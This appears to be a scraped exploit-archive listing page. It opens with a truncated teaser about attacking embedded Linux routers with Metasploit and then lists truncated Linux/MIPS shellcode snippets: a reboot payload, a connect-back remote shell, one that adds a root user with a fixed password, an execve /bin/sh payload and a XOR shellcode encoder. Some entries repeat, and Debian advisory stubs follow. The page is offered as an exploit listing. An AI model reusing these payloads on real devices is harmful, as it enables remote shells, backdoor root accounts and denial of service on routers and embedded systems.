Compromising Embedded Linux Routers with Metasploit

Normally we don't get a lot of contributions regarding embedded devices. Even when they are an interesting target from the pentesting point of view, and is usual to find them out of DMZ zones on corporate networks. Maybe it's because access to these devices or the software running in top of them ...

linux/mips - reboot() - 32 bytes

/ Title: Linux/MIPS - reboot - 32 bytes. Author: rigan - imrigan sobachka gmail.com / include char sc = "\x3c\x06\x43\x21" // lui a2,0x4321 "\x34\xc6\xfe\xdc" // ori a2,a2,0xfedc "\x3c\x05\x28\x12" // lui a1,0x2812 "\x34\xa5\x19\x69" // ori a1,a1,0x1969 "\x3c\x04\xfe\xe1" // lui a0,0xfee1...

linux/mips - connect back shellcode (port 0x7a69) - 168 bytes

/ Title: Linux/MIPS - connect back shellcode port 0x7a69 - 168 bytes. Author: rigan - imrigan sobachka gmail.com / include char sc = "\x24\x0f\xff\xfd" // li t7,-3 "\x01\xe0\x20\x27" // nor a0,t7,zero "\x01\xe0\x28\x27" // nor a1,t7,zero "\x28\x06\xff\xff" // slti a2,zero,-1 "\x24\x02\x10\x57" //...

Linux/MIPS - connect back shellcode port 0x7a69 - 168 bytes

Linux/MIPS - connect back shellcode port 0x7a69 - 168 bytes. Shellcode exploit for linuxmips platform / Title: Linux/MIPS - connect back shellcode port 0x7a69 - 168 bytes. Author: rigan - imrigan sobachka gmail.com / include char sc = "\x24\x0f\xff\xfd" // li t7,-3 "\x01\xe0\x20\x27" // nor...

Linux/MIPS - reboot - 32 bytes

Linux/MIPS - reboot - 32 bytes. Shellcode exploit for linuxmips platform / Title: Linux/MIPS - reboot - 32 bytes. Author: rigan - imrigan sobachka gmail.com / include char sc = "\x3c\x06\x43\x21" // lui a2,0x4321 "\x34\xc6\xfe\xdc" // ori a2,a2,0xfedc "\x3c\x05\x28\x12" // lui a1,0x2812...

Linux/MIPS - add userUID 0 with password - 164 bytes

Linux/MIPS - add userUID 0 with password - 164 bytes. Shellcode exploit for linux platform / Title: Linux/MIPS -add userUID 0 with password - 164 bytes Date: 2011-11-24 Author: rigan - imrigan at gmail.com Note: Username - rOOt Password - pwn3d / include char sc = "\x24\x09\x73\x50" // li t1,2952...

linux/mips - execve /bin/sh - 48 bytes

/ Title: Linux/MIPS - execve /bin/sh - 48 bytes Date: 2011-11-24 Author: rigan - imrigan at gmail.com .text .global start start: slti $a2, $zero, -1 li $t7, 0x2f2f6269 sw $t7, -12$sp li $t6, 0x6e2f7368 sw $t6, -8$sp sw $zero, -4$sp la $a0, -12$sp slti $a1, $zero, -1 li $v0, 4011 syscall 0x40404 /...

Linux/MIPS - execve /bin/sh - 48 bytes

Linux/MIPS - execve /bin/sh - 48 bytes. Shellcode exploit for linux platform / Title: Linux/MIPS - execve /bin/sh - 48 bytes Date: 2011-11-24 Author: rigan - imrigan at gmail.com .text .global start start: slti $a2, $zero, -1 li $t7, 0x2f2f6269 sw $t7, -12$sp li $t6, 0x6e2f7368 sw $t6, -8$sp sw...

linux/mips - add user(UID 0) with password - 164 bytes

/ Title: Linux/MIPS -add userUID 0 with password - 164 bytes Date: 2011-11-24 Author: rigan - imrigan at gmail.com Note: Username - rOOt Password - pwn3d / include char sc = "\x24\x09\x73\x50" // li t1,29520 "\x05\x30\xff\xff" // bltzal t1,400094 "\x24\x09\x73\x50" // li t1,29520 nop /...

linux/mips XOR Shellcode Encoder (60 Bytes)

include include include include include include include define DEBUG 0 / entropy at phiral.net mips linux shellcode xor encoder \xAB\xCD is overwritten with jmp back offset \x00\x00 is overwritten with the byte its xored with 0. gcc encoder.c -o encoder 1. perl -e 'print "\xsh\xel\xlc\xod\xe0";'...

MIPS Linux XOR Shellcode Encoder 60 Bytes

MIPS Linux XOR Shellcode Encoder 60 Bytes. Shellcode exploit for linuxmips platform include include include include include include include define DEBUG 0 / entropy at phiral.net mips linux shellcode xor encoder \xAB\xCD is overwritten with jmp back offset \x00\x00 is overwritten with the byte it...

52 byte Linux MIPS execve

52 byte Linux MIPS execve. Shellcode exploit for linuxmips platform include / entropy at phiral.net 52 byte linux mips shellcode oh werd [email protected] /encode/1/2 cat s.s .section .text .globl start .set noreorder start: li $a2, 0x666 p: bltzal $a2, p slti $a2, $zero, -1 addu $sp, $sp, -32...

[SECURITY] [DSA-2133-1] New collectd packages fix denial of service

------------------------------------------------------------------------ Debian Security Advisory DSA-2133-1 [email protected] http://www.debian.org/security/ Raphael Geissert December 13, 2010 http://www.debian.org/security/faq -...

[SECURITY] [DSA 2132-1] New xulrunner packages fix several vulnerabilities

------------------------------------------------------------------------ Debian Security Advisory DSA-2132-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff December 11, 2010 http://www.debian.org/security/faq -...

DSA-2129-1 krb5 - checksum verification weakness

Bulletin has no description...

[SECURITY] [DSA 2108-1] New cvsnt package fixes arbitrary code execution

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - ------------------------------------------------------------------------ Debian Security Advisory DSA-2108-1 [email protected] http://www.debian.org/security/ Sebastien Delafond Sep 14, 2010 http://www.debian.org/security/faq - -...

[SECURITY] [DSA-2102-1] New barnowl packages fix arbitrary code execution

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - - ------------------------------------------------------------------------ Debian Security Advisory DSA-2102-1 [email protected] http://www.debian.org/security/ Sebastien Delafond Sep 3, 2010 http://www.debian.org/security/faq - -...

[SECURITY] [DSA 2078-1] New kvirc packages fix arbitrary IRC command execution

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ Debian Security Advisory DSA-2078-1 [email protected] http://www.debian.org/security/ Moritz Muehlenhoff July 31, 2010 http://www.debian.org/security/faq -...

[SECURITY] [DSA-2069-1] New znc packages fix denial of service

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - ------------------------------------------------------------------------ Debian Security Advisory DSA-2069-1 [email protected] http://www.debian.org/security/ Raphael Geissert Jul 11, 2010 http://www.debian.org/security/faq -...

[SECURITY] [DSA 2021-1] New spamass-milter packages fix remote command execution

------------------------------------------------------------------------ Debian Security Advisory DSA-2021-1 [email protected] http://www.debian.org/security/ Giuseppe Iuculano March 22, 2010 http://www.debian.org/security/faq -...